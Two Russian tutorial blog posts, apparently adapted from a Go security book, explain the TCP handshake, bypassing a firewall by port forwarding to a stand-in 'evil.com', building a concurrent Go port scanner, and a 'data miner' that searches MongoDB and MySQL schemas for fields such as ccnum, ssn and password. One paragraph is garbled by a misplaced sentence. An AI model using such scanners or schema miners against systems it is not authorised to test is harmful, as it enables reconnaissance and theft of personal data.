В качестве напоминания мы начнем с основ. снизу будет показано, как 𝗧𝗖𝗣 при запросе порта использует процесс рукопожатия (𝗵𝗮𝗻𝗱𝘀𝗵𝗮𝗸𝗶𝗻𝗴), определяя, открыт порт, закрыт или фильтруется.

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Основы рукопожатия в TCP


Если порт открыт, рукопожатие осуществляется в три этапа. Сначала клиент отправляет пакет 𝘀𝘆𝗻, определяющий начало сеанса связи. В ответ на это сервер отправляет 𝘀𝘆𝗻-𝗮𝗰𝗸, иначе говоря, подтверждение получения пакета 𝘀𝘆𝗻, предлагая клиенту завершить сеанс установки связи отправкой сигнала 𝗮𝗰𝗸, то есть встречного подтверждения получения ответа сервера. После этого может начаться обмен данными. Если же порт будет закрыт, сервер ответит пакетом 𝗿𝘀𝘁, а не 𝘀𝘆𝗻-𝗮𝗰𝗸. В случае, когда трафик фильтруется межсетевым экраном (брандмауэром), клиент обычно не получает от сервера ответа.

При написании сетевых протоколов важно понимать принцип работы этих пакетов. Соответствие выходных данных создаваемых вами инструментов этим низкоуровневым потокам пакетов поможет убедиться в правильной установке сетевого соединения и устранить потенциальные проблемы. Как вы увидите чуть позже, в коде можно легко допустить ошибки, не реализовав полный цикл рукопожатия при соединении «клиент — сервер», что приведет к неточным или вводящим в заблуждение результатам.



Обход брандмауэра с помощью переадресации портов:



Иногда в системах с целью ограничения доступа клиента к конкретным серверам и портам устанавливаются брандмауэры. В некоторых случаях эти ограничения можно обойти, используя промежуточную систему для проксирования в обход или через такой брандмауэр. Эта техника называется переадресацией портов.

Многие корпоративные сети ограничивают возможность подключения своих внутренних ресурсов к вредоносным сайтам. В качестве примера представьте такой сайт под названием 𝗲𝘃𝗶𝗹.𝗰𝗼𝗺. Если сотрудник компании попытается подключиться к нему напрямую, брандмауэр заблокирует его запрос. Но если у сотрудника есть собственная внешняя система, доступная через брандмауэр (например, 𝘀𝘁𝗮𝗰𝗸𝘁𝗶𝘁𝗮𝗻.𝗰𝗼𝗺), то он может задействовать ее для установки связи с 𝗲𝘃𝗶𝗹.𝗰𝗼𝗺. Этот принцип отражен снизу.

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

TCP-проски

Клиент подключается к удаленному хосту 𝘀𝘁𝗮𝗰𝗸𝘁𝗶𝘁𝗮𝗻.𝗰𝗼𝗺 через брандмауэр. Этот хост настроен на перенаправление соединений к хосту 𝗲𝘃𝗶𝗹.𝗰𝗼𝗺. Несмотря на то что брандмауэр запрещает прямые подключения к 𝗲𝘃𝗶𝗹.𝗰𝗼𝗺, описанная конфигурация позволяет клиенту обойти этот механизм защиты.

Переадресацию портов можно использовать для эксплуатации нескольких запрещающих сетевых конфигураций. Например, можно перенаправить трафик через инсталляционный сервер для доступа к сегментированной сети или обращения к портам, привязанным к ограниченным интерфейсам.



Написание TCP-сканера:



Один из эффективных способов концептуализировать понимание взаимодействия 𝗧𝗖𝗣-портов — это реализация их сканера. В процессе его создания вы увидите все шаги обмена рукопожатиями в 𝗧𝗖𝗣, а также эффекты от возникающих изменений состояний, которые позволяют определить, является ли порт доступным, закрытым или отфильтровывается.

Написав базовый сканер портов, вы перейдете к созданию его ускоренной версии. Базово эта программа способна сканировать множество портов, используя один непрерывный метод, но если вам потребуется выполнить сканирование всех 𝟲𝟱 𝟱𝟯𝟱 портов, это может занять слишком много времени. Поэтому мы научим вас с помощью многопоточности делать малоэффективный сканер более подходящим для выполнения задач расширенного сканирования. Освоенные в этой статье шаблоны параллельности вы сможете применять и во многих других сценариях.


Тестирование портов на доступность:


Первый шаг в создании сканера портов — понять процесс инициирования соединения от клиента к серверу. В рассматриваемом примере вы будете подключаться к 𝘀𝗰𝗮𝗻𝗺𝗲.𝗻𝗺𝗮𝗽.𝗼𝗿𝗴 — сервису проекта 𝗡𝗺𝗮𝗽𝟭 и сканировать его. Для этого мы с вами задействуем пакет 𝗚𝗼 𝗻𝗲𝘁: 𝗻𝗲𝘁.𝗗𝗶𝗮𝗹(𝗻𝗲𝘁𝘄𝗼𝗿𝗸, 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝘀𝘁𝗿𝗶𝗻𝗴).

Первый аргумент — это строка, определяющая тип инициируемого соединения. Дело в том, что 𝗗𝗶𝗮𝗹 используется не только для 𝗧𝗖𝗣, но и для создания соединений, задействующих сокеты 𝗨𝗻𝗶𝘅, 𝗨𝗗𝗣 и протоколы 𝟰-го уровня, которые мы оставим в стороне, так как на основе всего нашего опыта будет достаточно просто сказать, что 𝗧𝗖𝗣 очень хорош. В этот аргумент можно передать несколько вариантов строк, но для краткости будем использовать строку 𝘁𝗰𝗽.

Второй аргумент указывает 𝗗𝗶𝗮𝗹(𝗻𝗲𝘁𝘄𝗼𝗿𝗸, 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝘀𝘁𝗿𝗶𝗻𝗴) на хост, к которому вы хотите подключиться. Обратите внимание на то, что это одна строка, а не 𝘀𝘁𝗿𝗶𝗻𝗴 и 𝗶𝗻𝘁. Для соединений 𝗜𝗣𝘃𝟰/𝗧𝗖𝗣 она будет принимать форму 𝗵𝗼𝘀𝘁:𝗽𝗼𝗿𝘁. Например, если вам нужно подключиться к 𝘀𝗰𝗮𝗻𝗺𝗲.𝗻𝗺𝗮𝗽.𝗼𝗿𝗴 через 𝗧𝗖𝗣-порт 𝟴𝟬, то нужно указать 𝘀𝗰𝗮𝗻𝗺𝗲.𝗻𝗺𝗮𝗽.𝗼𝗿𝗴:𝟴𝟬.

Теперь вы знаете, как создать соединение, но как понять, что оно было успешным? Для этого выполняется проверка на ошибки: 𝗗𝗶𝗮𝗹(𝗻𝗲𝘁𝘄𝗼𝗿𝗸, 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝘀𝘁𝗿𝗶𝗻𝗴) возвращает Conn и error. При этом error будет nil, если соединение установлено успешно. Так что для проверки вам просто нужно убедиться, что error равна nil. Вот теперь у вас есть все необходимые элементы для построения сканера портов, хотя и не особо корректного. В Основах рукопожатия в TCP показано, как все это объединить.

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Простой сканер портов, сканирующий только один порт /dial/main.go

Выполнив этот код, вы должны увидеть сообщение 𝗖𝗼𝗻𝗻𝗲𝗰𝘁𝗶𝗼𝗻 𝘀𝘂𝗰𝗰𝗲𝘀𝘀𝗳𝘂𝗹 при условии наличия у вас доступа к великой информационной супермагистрали


Выполнение однопоточного сканирования:



Сканирование по одному порту за раз не особо полезно и малоэффективно, так как диапазон 𝗧𝗖𝗣-портов — от 𝟭 до 𝟲𝟱 𝟱𝟯𝟱. В целях же тестирования давайте пока просканируем порты от 𝟭 до 𝟭𝟬𝟮𝟰. Для этого можно использовать цикл 𝗳𝗼𝗿:

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Теперь у вас есть 𝗶𝗻𝘁, но нужно помнить, что в качестве второго аргумента для 𝗗𝗶𝗮𝗹(𝗻𝗲𝘁𝘄𝗼𝗿𝗸, 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝘀𝘁𝗿𝗶𝗻𝗴) требуется строка. Есть по меньшей мере два способа преобразования целого числа в строку. Первый — использовать пакет преобразования строк 𝘀𝘁𝗿𝗰𝗼𝗻𝘃. Второй — применить функцию 𝗦𝗽𝗿𝗶𝗻𝘁𝗳(𝗳𝗼𝗿𝗺𝗮𝘁 𝘀𝘁𝗿𝗶𝗻𝗴, 𝗮 ...𝗶𝗻𝘁𝗲𝗿𝗳𝗮𝗰𝗲{}) из пакета 𝗳𝗺𝘁, которая (аналогично своему собрату в 𝗖) возвращает 𝘀𝘁𝗿𝗶𝗻𝗴, сгенерированную из строки формата (𝗳𝗼𝗿𝗺𝗮𝘁 𝘀𝘁𝗿𝗶𝗻𝗴).


Создайте файл с кодом из листинга 𝟮.𝟮 и убедитесь в работоспособности цикла и функции генерации строки. Выполнение этого кода должно вывести 𝟭𝟬𝟮𝟰 строки, но утруждать себя их подсчетом не обязательно.

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Сканирование 1024 портов scanme.nmap.org /tcp-scanner-slow/main.go

Теперь осталось только подставить переменную адреса из предыдущего кода в 𝗗𝗶𝗮𝗹(𝗻𝗲𝘁𝘄𝗼𝗿𝗸, 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝘀𝘁𝗿𝗶𝗻𝗴) и протестировать доступность портов, реализовав такую же проверку ошибок, как в предыдущем разделе. Помимо этого, чтобы не оставлять успешные соединения открытыми, следует добавить логику их закрытия. Завершение соединений — это жест вежливости. Для этого вам нужно выполнить в 𝗖𝗼𝗻𝗻 вызов 𝗖𝗹𝗼𝘀𝗲(). Снизу показана полноценная реализация сканера портов.

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Завершенный сканер портов /tcp-scanner-slow/main.go

Скомпилируйте и выполните этот код для выполнения легкого сканирования цели. Вы должны обнаружить пару открытых портов.



Параллельное сканирование:



Предыдущий сканер сканировал серию портов в один заход. Но вашей целью является проверка множества портов параллельно, что существенно ускорит его работу. Для этого мы воспользуемся горутинами. 𝗚𝗼 позволяет создавать столько горутин, сколько способна обработать ваша система, ограничиваясь только объемом доступной памяти.



Слишком быстрая версия сканера:



Самым прямолинейным способом создания параллельного сканера будет обернуть вызов 𝗗𝗶𝗮𝗹(𝗻𝗲𝘁𝘄𝗼𝗿𝗸, 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝘀𝘁𝗿𝗶𝗻𝗴) в горутину. Чтобы собственными глазами увидеть последствия этого, создайте файл 𝘀𝗰𝗮𝗻-𝘁𝗼𝗼-𝗳𝗮𝘀𝘁.𝗴𝗼 с кодом который снизу.

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Сканер, работающий слишком быстро /tcp-scanner-too-fast/main.go

При выполнении кода вы заметите, что программа завершается практически мгновенно:

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Этот код запускает по одной горутине для каждого соединения, а основная горутина не знает, что нужно ждать окончания его установки. В связи с этим выполнение кода завершается, как только цикл 𝗳𝗼𝗿 заканчивает перебор, что происходит быстрее, чем сеть успевает осуществить обмен пакетами между кодом и всеми целевыми портами. Поэтому вы не получите точных результатов для портов, чьи пакеты находились в процессе обмена.


Исправить это можно несколькими способами. Первый — использовать 𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽 из пакета 𝘀𝘆𝗻𝗰, предоставляющий потокобезопасный способ управления параллельным выполнением. 𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽 — это тип структуры, который создается так:

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Создав 𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽, вы можете вызвать для этой структуры несколько методов. Первый метод — 𝗔𝗱𝗱(𝗶𝗻𝘁), увеличивающий внутренний счетчик согласно переданному числу. Следующий — метод 𝗗𝗼𝗻𝗲(), уменьшающий счетчик на 𝟭. И наконец, метод 𝗪𝗮𝗶𝘁(), блокирующий выполнение горутины, в которой вызывается, запрещая дальнейЭтот вариант кода по большому счету остался неизменным. Тем не менее здесь мы добавили код, явно отслеживающий оставшуюся работу. В этой версии программышее выполнение, пока внутренний счетчик не достигнет нуля. Эти вызовы можно совмещать, гарантируя, что основная горутина дождется завершения всех соединений.


Синхронизированное сканирование с помощью WaitGroup:

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Синхронизированный сканер, использующий WaitGroup /tcp-scanner-wg-too-fast/main.go

Этот вариант кода по большому счету остался неизменным. Тем не менее здесь мы добавили код, явно отслеживающий оставшуюся работу. В этой версии программы

создаем 𝘀𝘆𝗻𝗰.𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽, выступающую в качестве синхронизированного счетчика. Мы увеличиваем этот счетчик через 𝘄𝗴.𝗔𝗱𝗱(𝟭) при каждом создании горутины для сканирования порта. При этом отложенный вызов 𝘄𝗴.𝗗𝗼𝗻𝗲() уменьшает этот счетчик при завершении каждой единицы работы. Функция 𝗺𝗮𝗶𝗻() вызывает 𝘄𝗴.𝗪𝗮𝗶𝘁(), который блокирует выполнение, пока не будет выполнена вся работа и счетчик не достигнет нуля.

Эта версия программы уже лучше, но по-прежнему имеет недостатки. Если запустить ее несколько раз для разных хостов, можно получить несогласованные результаты. Одновременное сканирование чрезмерного количества хостов или портов может привести к тому, что ограничения системы или сети исказят результаты. Попробуйте изменить в коде значение 𝟭𝟬𝟮𝟰 на 𝟲𝟱𝟱𝟯𝟱 и укажите адрес целевого сервера как 𝟭𝟮𝟳.𝟬.𝟬.𝟭. При желании можете использовать 𝗪𝗶𝗿𝗲𝘀𝗵𝗮𝗿𝗸 или 𝘁𝗰𝗽𝗱𝘂𝗺𝗽, чтобы увидеть, насколько быстро открываются эти соединения.



Сканирование портов с помощью пула воркеров:



Чтобы избежать несогласованности, можно задействовать для управления параллельным выполнением пул горутин. С помощью цикла 𝗳𝗼𝗿 вы создаете определенное количество воркеров горутин в качестве пула. Затем в потоке 𝗺𝗮𝗶𝗻() с помощью канала обеспечиваете работу.

Для начала создайте новую программу, которая использует канал 𝗶𝗻𝘁, содержит 𝟭𝟬𝟬 воркеров и выводит их результаты на экран. При этом задействуйте 𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽 для блокирования выполнения.

Создайте начальную заглушку кода для функции 𝗺𝗮𝗶𝗻, а над ней напишите функцию,приведенную в коде ниже

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Функция с воркером для выполнения задачи.

Функция 𝘄𝗼𝗿𝗸𝗲𝗿(𝗶𝗻𝘁, *𝘀𝘆𝗻𝗰.𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽) получает два аргумента: канал типа 𝗶𝗻𝘁 и указатель на 𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽. Канал будет использоваться для получения работы, а 𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽 — для отслеживания завершения одной ее единицы.

Далее добавьте функцию 𝗺𝗮𝗶𝗻(), приведенную в коде ниже, которая будет управлять рабочей нагрузкой и обеспечивать работу функции 𝘄𝗼𝗿𝗸𝗲𝗿(𝗶𝗻𝘁, *𝘀𝘆𝗻𝗰.𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽).

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Базовый пул воркеров /tcp-sync-scanner/main.go

Сначала создается канал с помощью 𝗺𝗮𝗸𝗲(). В 𝗺𝗮𝗸𝗲() в качестве второго параметра передается значение 𝟭𝟬𝟬. Это добавляет каналу буферизацию, то есть в него можно будет отправлять элемент и не ждать, пока получатель этот элемент прочтет. Буферизованные каналы идеально подходят для поддержания и отслеживания работы нескольких производителей и потребителей. Емкость канала определяется как 𝟭𝟬𝟬. Значит, он может вместить 𝟭𝟬𝟬 элементов, до того как отправитель будет заблокирован. Это дает небольшой прирост производительности, поскольку все воркеры смогут запускаться сразу.

Далее с помощью цикла 𝗳𝗼𝗿 запускается заданное число воркеров — в данном случае 𝟭𝟬𝟬. В функции 𝘄𝗼𝗿𝗸𝗲𝗿(𝗶𝗻𝘁, *𝘀𝘆𝗻𝗰.𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽) с помощью 𝗿𝗮𝗻𝗴𝗲 происходит непрерывное циклическое получение данных из канала 𝗽𝗼𝗿𝘁𝘀, завершающееся только при закрытии канала. Обратите внимание: пока воркер никакой работы не выполняет — это произойдет чуть позже. Последовательно перебирая порты в функции 𝗺𝗮𝗶𝗻(), вы отправляете порт через канал 𝗽𝗼𝗿𝘁𝘀 воркеру. По завершении всей работы закрываете канал.

Запустив эту программу, вы увидите, как на экран выводятся числа. Здесь можно заметить кое-что интересное, а именно то, что выводятся они в конкретном порядке. Добро пожаловать в прекрасный мир многопоточности!



Многоканальная связь:



Чтобы завершить создание сканера, можно вставить код, использованный ранее в этом разделе, и это вполне сработает. Но в таком случае выводимые порты будут не отсортированы, так как сканер станет проверять их не по порядку. Решить эту проблему можно, реализовав упорядоченную передачу результатов сканирования в основной поток через дополнительный. Это изменение к тому же позволит полностью устранить зависимость от 𝗪𝗮𝗶𝘁𝗚𝗿𝗼𝘂𝗽, так как теперь у вас будет другой метод для отслеживания завершения. Например, если вы сканируете 𝟭𝟬𝟮𝟰 порта, то делаете по каналу воркера 𝟭𝟬𝟮𝟰 передачи, после чего снова выполняете 𝟭𝟬𝟮𝟰 передачи с результатами работы обратно в основной поток. Поскольку количество отправленных единиц работы и полученных результатов совпадает, программа понимает, когда нужно закрывать каналы и, следовательно, отключать воркеры.


Эта модификация кода представлена в коде ниже, которым завершается создание сканера.

TCP, сканеры и прокси Программирование, Информационная безопасность, Хакеры, Golang, IT, Программист, Длиннопост

Сканирование портов через несколько каналов /tcp-scanner-final/main.go

Функция 𝘄𝗼𝗿𝗸𝗲𝗿(𝗽𝗼𝗿𝘁𝘀, 𝗿𝗲𝘀𝘂𝗹𝘁𝘀 𝗰𝗵𝗮𝗻 𝗶𝗻𝘁) была изменена для получения двух каналов. Остальная логика почти полностью осталась прежней, за исключением того, что в случае закрытого порта вы отправляете ноль, а в случае открытого — значение этого порта. Кроме того, здесь вы создаете отдельный канал для передачи результатов от воркера в основной поток. Затем результаты сохраняются в срез, что позволяет выполнить их сортировку. Далее вам нужно реализовать отправку данных воркера в отдельной горутине, потому что цикл сбора результатов должен начаться до того, как сможет продолжиться выполнение более 𝟭𝟬𝟬 единиц работы.

Этот цикл получает по каналу 𝗿𝗲𝘀𝘂𝗹𝘁𝘀 𝟭𝟬𝟮𝟰 передачи. Если порт не равен 𝟬, он добавляется в срез. После закрытия каналов вы используете сортировку для упорядочивания среза открытых портов. Далее остается лишь перебрать срез и вывести открытые порты на экран.

Вот мы и написали высокопроизводительный сканер портов. Уделите время экспериментированию с кодом — в частности, с количеством воркеров. Чем их больше, тем быстрее должна выполняться программа. Но если их окажется слишком много, результаты станут ненадежными. При написании инструментов, которые будут применять другие люди, вам нужно использовать грамотное предустановленное значение, которое ориентировано на надежность, а не на скорость. При этом также следует предоставлять пользователям опцию самостоятельного выбора количества воркеров.

В полученную программу можно внести пару улучшений. Во-первых, вы отправляете по каналу 𝗿𝗲𝘀𝘂𝗹𝘁𝘀 результат сканирования каждого порта, что необязательно. Альтернативное решение потребует написания более сложного кода, который будет использовать дополнительный канал не только для отслеживания воркеро. Вам может потребоваться, чтобы сканер умел парсить строки с портами, например 𝟴𝟬,𝟰𝟰𝟯,𝟴𝟬𝟴𝟬,𝟮𝟭-𝟮𝟱, наподобие тех, что могут быть переданы в 𝗡𝗺𝗮𝗽. Я предлагаю вам освоить этот прием самостоятельно.

P.S: в следующей статье мы рассмотрим создание TCP-прокси.

ССЫЛКА НА ТЕЛЕГРАМ КАНАЛ АВТОРА

Показать полностью 13

Создание майнера данных

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

ИНФОРМАЦИЯ ИСКЛЮЧИТЕЛЬНО ДЛЯ ОЗНАКОМЛЕНИЯ!!


В этой статье мы создадим инструмент, проверяющий схему базы данных (например, имена столбцов) в поиске ценной информации. Допустим, нам нужно найти пароли, хеши, номера социального страхования и кредитных карт. Вместо написания единой утилиты, добывающей информацию из различных БД, мы создадим раздельные программы — по одной для каждой БД — и задействуем конкретный интерфейс, обеспечивая согласованность между их реализациями. Такая гибкость может оказаться излишней для данного примера, но она дает возможность создать переносимый код, который можно использовать повторно.

Интерфейс должен быть минимальным, то есть состоять из нескольких базовых типов и функций, требуя реализации всего одного метода для извлечения схемы базы данных. В коде ниже определяется именно такой интерфейс майнера с названием 𝗱𝗯𝗺𝗶𝗻𝗲𝗿.𝗴𝗼.

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

Реализация майнера данных /db/dbminer/dbminer.go

Код начинается с определения интерфейса DatabaseMiner. Для реализующих этот интерфейс типов будет требоваться один-единственный метод — GetSchema(). Поскольку каждая серверная база данных может иметь собственную логику для извлечения данной схемы, подразумевается, что каждая конкретная утилита сможет реализовать эту логику уникальным для используемых БД и драйвера способом.

Далее мы определяем тип 𝗦𝗰𝗵𝗲𝗺𝗮, состоящий из нескольких подтипов, которые определены здесь же. Тип 𝗦𝗰𝗵𝗲𝗺𝗮 задействуется для логического представления схемы БД, то есть баз данных, таблиц и столбцов. Вы могли обратить внимание на то, что функция 𝗚𝗲𝘁𝗦𝗰𝗵𝗲𝗺𝗮() в определении интерфейса ожидает, что реализации вернут *𝗦𝗰𝗵𝗲𝗺𝗮.

Далее идет определение одной функции 𝗦𝗲𝗮𝗿𝗰𝗵() с объемной логикой. Эта функция ожидает передачи экземпляра 𝗗𝗮𝘁𝗮𝗯𝗮𝘀𝗲𝗠𝗶𝗻𝗲𝗿 и сохраняет значение майнера в переменной 𝗺. Начинается она с вызова 𝗺.𝗚𝗲𝘁𝗦𝗰𝗵𝗲𝗺𝗮() для извлечения схемы. Затем функция перебирает всю эту схему в поиске списка соответствующих значений регулярному выражению (𝗿𝗲𝗴𝗲𝘅). При нахождении соответствий схема базы данных и совпадающие поля выводятся на экран.

В завершение мы определяем функцию 𝗴𝗲𝘁𝗥𝗲𝗴𝗲𝘅(). Она компилирует строки регулярных выражений с помощью пакета 𝗚𝗼 𝗿𝗲𝗴𝗲𝘅𝗽 и возвращает срез их значений. Список 𝗿𝗲𝗴𝗲𝘅 состоит из нечувствительных к регистру строк, которые сопоставляются со стандартными или интересующими нас именами полей, например 𝗰𝗰𝗻𝘂𝗺, 𝘀𝘀𝗻 и 𝗽𝗮𝘀𝘀𝘄𝗼𝗿𝗱.

Теперь, имея в распоряжении интерфейс добытчика, можно создать особые реализации утилит. Начнем с добытчика данных из 𝗠𝗼𝗻𝗴𝗼𝗗𝗕.



Реализация майнера данных из MongoDB:


Утилита для работы с MongoDB, показанная в коде ниже, реализует интерфейс из кода Реализации майнера данных, а также интегрирует код подключения к базе данных, который я написал в предыдущем посте (Подключение к базе данных MongoDB).

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

Создание майнера для MongoDB /db/mongo/main.go

Вначале мы импортируем пакет 𝗱𝗯𝗺𝗶𝗻𝗲𝗿, определяющий интерфейс 𝗗𝗮𝘁𝗮𝗯𝗮𝘀𝗲𝗠𝗶𝗻𝗲𝗿. Затем прописываем тип 𝗠𝗼𝗻𝗴𝗼𝗠𝗶𝗻𝗲𝗿, который будет использоваться для реализации этого интерфейса. Для удобства также реализуется функция 𝗡𝗲𝘄(), создающая новый экземпляр типа 𝗠𝗼𝗻𝗴𝗼𝗠𝗶𝗻𝗲𝗿, вызывая метод 𝗰𝗼𝗻𝗻𝗲𝗰𝘁(), который устанавливает подключение к базе данных. В совокупности эта логика производит начальную загрузку кода, выполняя подключение к базе данных аналогичным рассмотренному в листинге 𝟳.𝟲 способом.

Самая интересная часть кода содержится в реализации метода интерфейса 𝗚𝗲𝘁𝗦𝗰𝗵𝗲𝗺𝗮(). В отличие от примера кода 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 из кода (Предыдущий Пост) Подключение к базе данных MongoDB и запрос данных , теперь мы проверяем метаданные 𝗠𝗼𝗻𝗴𝗼𝗗𝗕, сначала извлекая имена баз данных, а затем перебирая эти базы данных для получения имен коллекции каждой. В завершение эта функция получает сырой документ, который, в отличие от типичного запроса 𝗠𝗼𝗻𝗴𝗼𝗗𝗕, использует отложенный демаршалинг. Это позволяет явно демаршалировать запись в общую структуру и проверить имена полей. Если бы не возможность такого отложенного демаршалинга, пришлось бы определять явный тип, скорее всего, использующий атрибуты тега 𝗯𝘀𝗼𝗻, инструктируя программу о порядке демаршалинга данных в определенную нами структуру. В этом случае мы не знаем о типах полей или структуре (или нам все равно), нам просто нужны имена полей (не данные) — именно так можно демаршалировать структурированные данные, не зная структуры заранее.

Функция 𝗺𝗮𝗶𝗻() ожидает 𝗜𝗣-адрес экземпляра 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 в качестве единственного аргумента, вызывает функцию 𝗡𝗲𝘄() для начальной загрузки всего, после чего вызывает 𝗱𝗯𝗺𝗶𝗻𝗲𝗿.𝗦𝗲𝗮𝗿𝗰𝗵(), передавая ему экземпляр 𝗠𝗼𝗻𝗴𝗼𝗠𝗶𝗻𝗲𝗿. Напомним, что 𝗱𝗯𝗺𝗶𝗻𝗲𝗿.𝗦𝗲𝗮𝗿𝗰𝗵() вызывает 𝗚𝗲𝘁𝗦𝗰𝗵𝗲𝗺𝗮() в полученном экземпляре 𝗗𝗮𝘁𝗮𝗯𝗮𝘀𝗲𝗠𝗶𝗻𝗲𝗿. Таким образом происходит вызов реализации функции 𝗠𝗼𝗻𝗴𝗼𝗠𝗶𝗻𝗲𝗿, что приводит к созданию 𝗱𝗯𝗺𝗶𝗻𝗲𝗿.𝗦𝗰𝗵𝗲𝗺𝗮, которая затем просматривается на соответствие списку 𝗿𝗲𝗴𝗲𝘅 из кода Реализация майнера данных.

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

Совпадение найдено! Выглядит она не очень аккуратно, но работу выполняет исправно — успешно обнаруживает коллекцию базы данных, содержащую поле ccnum.

Разобравшись с реализацией для MongoDB, в следующем разделе сделаем то же самое для серверной базы данных MySQL.



Реализация майнера для MySQL




Чтобы реализация 𝗠𝘆𝗦𝗤𝗟 заработала, мы будем проверять таблицу 𝗶𝗻𝗳𝗼𝗿𝗺𝗮𝘁𝗶𝗼𝗻_𝘀𝗰𝗵𝗲𝗺𝗮.𝗰𝗼𝗹𝘂𝗺𝗻𝘀. Она содержит метаданные обо всех базах данных и их структурах, включая таблицы и имена столбцов. Чтобы максимально упростить потребление данных, используйте приведенный далее 𝗦𝗤𝗟-запрос. Он удалит информацию о некоторых из встроенных БД 𝗠𝘆𝗦𝗤𝗟, не имеющих для нас значения:

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

В результате данного запроса вы получите примерно такие результаты:

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

Несмотря на то что использовать этот запрос для извлечения информации схемы довольно просто, сложность кода обусловливается стремлением логически дифференцировать и категоризировать каждую строку при определении функции GetSchema(). Например, последовательные строки вывода могут принадлежать или не принадлежать одной базе данных/таблице, поэтому ассоциирование строк с правильными экземплярами dbminer.Database и dbminer.Table становится несколько запутанным.

В коде снизу показана реализация:

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

Создание майнера для MySQL /db/mysql/main.go/

Бегло просмотрев код, вы можете заметить, что большая его часть очень похожа на пример для MongoDB из предыдущего раздела. В частности, идентична функция main().

Функции начальной загрузки также очень похожи — изменяется лишь логика на взаимодействие с MySQL, а не MongoDB. Обратите внимание на то, что эта логика подключается к базе данных information.schema, позволяя проинспектировать схему базы данных.

Основная сложность этого кода заключена в реализации 𝗚𝗲𝘁𝗦𝗰𝗵𝗲𝗺𝗮(). Несмотря на то что мы можем извлечь информацию схемы, используя один запрос к БД, после приходится перебирать результаты, просматривая каждую строку с целью определения присутствующих баз данных, их таблиц и строк этих таблиц. В отличие от реализации для 𝗠𝗼𝗻𝗴𝗼𝗗𝗕, у нас нет преимущества 𝗝𝗦𝗢𝗡/𝗕𝗦𝗢𝗡 с тегами атрибутов для маршалинга и демаршалинга данных в сложные структуры. Мы используем переменные для отслеживания информации в текущей строке и сравниваем ее с данными из предыдущей строки, чтобы понять, когда встретим новую базу данных или таблицу. Не самое изящное решение, но с задачей справляется.

Далее идет проверка соответствия имен баз данных текущей и предыдущей строк. Если они совпадают, создается новый экземпляр 𝗺𝗶𝗻𝗲𝗿.𝗗𝗮𝘁𝗮𝗯𝗮𝘀𝗲. Если это не первая итерация цикла, таблица и база данных добавляются в экземпляр 𝗺𝗶𝗻𝗲𝗿.𝗦𝗰𝗵𝗲𝗺𝗮. С помощью аналогичной логики мы отслеживаем и добавляем экземпляры 𝗺𝗶𝗻𝗲𝗿.𝗧𝗮𝗯𝗹𝗲 в текущую 𝗺𝗶𝗻𝗲𝗿𝗗𝗮𝘁𝗮𝗯𝗮𝘀𝗲. В завершение каждый столбец добавляется в 𝗺𝗶𝗻𝗲𝗿.𝗧𝗮𝗯𝗹𝗲.

Теперь запустите готовую программу в отношении экземпляра 𝗗𝗼𝗰𝗸𝗲𝗿 𝗠𝘆𝗦𝗤𝗟, чтобы убедиться в корректности ее работы:

Создание майнера данных Информационная безопасность, Программирование, Интернет, Golang, Взлом, Хакеры, Длиннопост

Вывод должен получиться практически идентичным выводу для 𝗠𝗼𝗻𝗴𝗼𝗗𝗕. Причина в том, что 𝗱𝗯𝗺𝗶𝗻𝗲𝗿.𝗦𝗰𝗵𝗲𝗺𝗮 не производит никакого вывода — это делает функция 𝗱𝗯𝗺𝗶𝗻𝗲𝗿.𝗦𝗲𝗮𝗿𝗰𝗵(). В этом заключается сила интерфейсов. Можно использовать конкретные реализации ключевых возможностей, задействуя при этом одну стандартную функцию для обработки данных прогнозируемым эффективным способом. В следующем разделе мы отойдем от БД и рассмотрим кражу данных из файловых систем.

Получение данных из файловых систем:



